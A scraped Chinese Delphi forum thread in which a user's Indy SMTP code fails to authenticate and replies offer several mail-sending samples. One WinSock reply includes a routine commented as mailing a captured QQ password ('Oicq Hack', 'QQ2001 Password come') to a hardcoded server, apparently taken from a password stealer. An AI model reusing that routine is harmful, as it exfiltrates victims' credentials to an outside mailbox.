button1.click();
begin
{
SMTP: TIdSMTP;
IdMsgSend: TIdMessage;
}
SMTP.AuthenticationType := atLogin;
//SMTP.AuthenticationType := atNone; SMTP.Username :='f_name';
SMTP.Password := '******';
SMTP.Host := 'SMTP.163.net';
SMTP.Port := 25;
try
SMTP.Connect();
except
showmessage('Error!');
exit;
end; with IdMsgSend do
begin
body.Clear;
body.Add('Test!'); //内容
From.Text := [email protected]'; //发件方
Recipients.EMailAddresses := [email protected]'; //收件方
Subject := '主题';
end;
try
SMTP.Send(IdMsgSend);
showmessage('Send Ok!');
finally
SMTP.Disconnect;
showmessage('Connent Error!');
end;
end;这段代码一直都没有调试成功。求助。
begin
{
SMTP: TIdSMTP;
IdMsgSend: TIdMessage;
}
SMTP.AuthenticationType := atLogin;
//SMTP.AuthenticationType := atNone; SMTP.Username :='f_name';
SMTP.Password := '******';
SMTP.Host := 'SMTP.163.net';
SMTP.Port := 25;
try
SMTP.Connect();
except
showmessage('Error!');
exit;
end; with IdMsgSend do
begin
body.Clear;
body.Add('Test!'); //内容
From.Text := [email protected]'; //发件方
Recipients.EMailAddresses := [email protected]'; //收件方
Subject := '主题';
end;
try
SMTP.Send(IdMsgSend);
showmessage('Send Ok!');
finally
SMTP.Disconnect;
showmessage('Connent Error!');
end;
end;这段代码一直都没有调试成功。求助。
解决方案 »
- 操作文档的问题
- 如果通过可执行文件名来关闭程序?
- 请教各位大虾!如何在TcxGrid 中锁定列! 急啊。。。。。。。。。。。。。。。
- 三层数据库连接问题 !急急!
- 在POPUMENU下有10个menuitem,怎么才可以实现:当其中一个的checkd为true时,另外九个的checked为fasle?
- 紧急求救!一个关于读取文本文件的问题!
- 一个很容易的分的问题
- 简单语句,但就是不通,我晕,大家来看看吧
- 高分解决简单问题?为什么我用XMLBroker和InetXPageProducer做的Web程序不可以在IE中运行?
- dbgrideh出错,我查扁了delphibbs及其它地方竟然没人试过。
- delphi help
- 用 TIdTCPServer 和 TIdTCPClient 连接,局域网内可以连通,在公网上怎么连不通
Project1
---------------------------
Error: authentication failed
---------------------------
确定
---------------------------
这是错误的提示信息。
谢了。正着急呢。
[email protected]
function SendMail(const Subject, Body, FileName,
SenderName, SenderEMail,RecepientName, RecepientEMail: string): Integer;varMessage: TMapiMessage;lpSender, lpRecepient: TMapiRecipDesc;FileAttach: TMapiFileDesc;SM: TFNMapiSendMail;MAPIModule: HModule;beginFillChar(Message, SizeOf(Message), 0);with Message dobeginif (Subject <> '') then lpszSubject := PChar(Subject);if (Body <> '') then lpszNoteText := PChar(Body);if (SenderEmail <> '') thenbeginlpSender.ulRecipClass := MAPI_ORIG;if (SenderName = '') thenlpSender.lpszName := PChar(SenderEMail)elselpSender.lpszName := PChar(SenderName);lpSender.lpszAddress := PChar(SenderEmail);lpSender.ulReserved := 0;lpSender.ulEIDSize := 0;lpSender.lpEntryID := nil;lpOriginator := @lpSender;end;if (RecepientEmail <> '') thenbeginlpRecepient.ulRecipClass := MAPI_TO;if (RecepientName = '') thenlpRecepient.lpszName := PChar(RecepientEMail)elselpRecepient.lpszName := PChar(RecepientName);lpRecepient.lpszAddress := PChar(RecepientEmail);lpRecepient.ulReserved := 0;lpRecepient.ulEIDSize := 0;lpRecepient.lpEntryID := nil;nRecipCount := 1;lpRecips := @lpRecepient;endelselpRecips := nil;if (FileName = '') thenbeginnFileCount := 0;lpFiles := nil;endelsebeginFillChar(FileAttach, SizeOf(FileAttach), 0);FileAttach.nPosition := Cardinal($FFFFFFFF);FileAttach.lpszPathName := PChar(FileName);nFileCount := 1;lpFiles := @FileAttach;end;end;MAPIModule := LoadLibrary(PChar(MAPIDLL));if MAPIModule = 0 thenResult := -1elsetry@SM := GetProcAddress(MAPIModule, 'MAPISendMail');if @SM <> nil thenbeginResult := SM(0, Application.Handle, Message, MAPI_DIALOG orMAPI_LOGON_UI, 0);endelseResult := 1;finallyFreeLibrary(MAPIModule);end;if Result <> 0 thenMessageDlg('Error sending mail (' + IntToStr(Result) + ').', mtError,[mbOK], 0);end;**********************下面是利用WinSock发送电子邮件的例子:whaoye:program SendMail;useswinsock;{$R *.RES}procedure sendmails;stdcall;vars:tsocket;buffer:array[0..255] of char;errorcode:integer;mailserver:tsockaddr;beginmailserver.sin_family:=af_inet;mailserver.sin_port:=htons(25);mailserver.sin_addr.S_addr:=inet_addr('202.104.32.230');s:=socket(af_inet,sock_stream,0);errorcode:=connect(s,mailserver,sizeof(mailserver));if errorcode<>invalid_socket thenbeginbuffer:='HELO'+#13#10;send(s,buffer,length('HELO'+#13#10),0);buffer:='MAIL FROM: [email protected]'+#13#10;send(s,buffer,length('MAIL FROM: [email protected]'+#13#10),0);buffer:='RCPT TO:administrator@godeye'+#13#10;send(s,buffer,length('RCPT TO:administrator@godeye'+#13#10),0);buffer:='DATA'+#13#10;send(s,buffer,length('DATA'+#13#10),0);buffer:='FROM:[email protected]'+#13#10;send(s,buffer,length('FROM:[email protected]'+#13#10),0);buffer:='TO:administrator@godeye'+#13#10;send(s,buffer,length('TO:[email protected]'+#13#10),0);buffer:='SUBJECT:just a test!'+#13#10;send(s,buffer,length('SUBJECT:just a test!'+#13#10),0);buffer:='I LOVE THIS GAME!'+#13#10;send(s,buffer,length('I LOVE THIS GAME!'+#13#10),0);buffer:='.'+#13#10;send(s,buffer,length('.'+#13#10),0);buffer:='QUIT'+#13#10;send(s,buffer,length('QUIT'+#13#10),0);closesocket(s);end;end;varwsa:twsadata;beginwsastartup($0202,wsa);sendmails;wsacleanup;end.*******************//下面是个发信的子过程,取得密码后发回[email protected]邮箱procedure MailSend;beginerr:=recv(FSocket,sbuf,400,0);s1:=strpas(sbuf);inc(step);case step of1:s1:='HELO smtp.hacker.com'+CRLF;2:s1:='MAIL FROM: <[email protected]>'+CRLF;3:s1:='RCPT TO: <'+email+'>'+CRLF;4:s1:='DATA'+CRLF;5:s1:='From:"Oicq Hack"<www.hacker.com>'+CRLF+'To:"getoicq"<www.password.com>'+CRLF+'Subject:QQ2001 Password come.'+CRLF+CRLF+newpass+CRLF+'.'+CRLF;6:s1:='QUIT'+CRLF;elsestep:=0;end;strcopy(sbuf,pchar(s1));err:=send(FSocket,sbuf,strlen(sbuf),MSG_DONTROUTE);end;//发信主过程procedure SendPass;beginerr:=WSAStartup($0101,WSAData);FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP);//利用 smtp.21cn.com 进行发信fhost:='202.104.32.230';fport:=25;SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(FHost));SockAddrIn.sin_family := PF_INET;SockAddrIn.sin_port :=htons(Fport);err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn));step:=0;repeatMailSend;until step=0;err:=closesocket(FSocket);err:=WSACleanup;end;
procedure TForm1.Button1Click(Sender: TObject);
beginNMSMTP1.Host := 'mail.host.com';NMSMTP1.UserID := 'Username';NMSMTP1.Connect;NMSMTP1.PostMessage.FromAddress := '[email protected]';NMSMTP1.PostMessage.ToAddress.Text := '[email protected]';NMSMTP1.PostMessage.ToCarbonCopy.Text := '[email protected]';NMSMTP1.PostMessage.ToBlindCarbonCopy.Text := '[email protected]';NMSMTP1.PostMessage.Body.Text := 'This is the message';NMSMTP1.PostMessage.Attachments.Text := 'c:\File.txt';NMSMTP1.PostMessage.Subject := 'Mail subject';NMSMTP1.SendMail;ShowMessage('Mail sent !');NMSMTP1.Disconnect;end;
163.net的花样可真不少-_-#
我用163的邮箱可以发出去邮件。
换成sohu的就不行了。不知道是怎么回事。
stmp: stmp.sohu.com
我用的是您给的小程序发的。
使用163的没有问题。
我的设置和foxmail是一样的。foxmail就可以。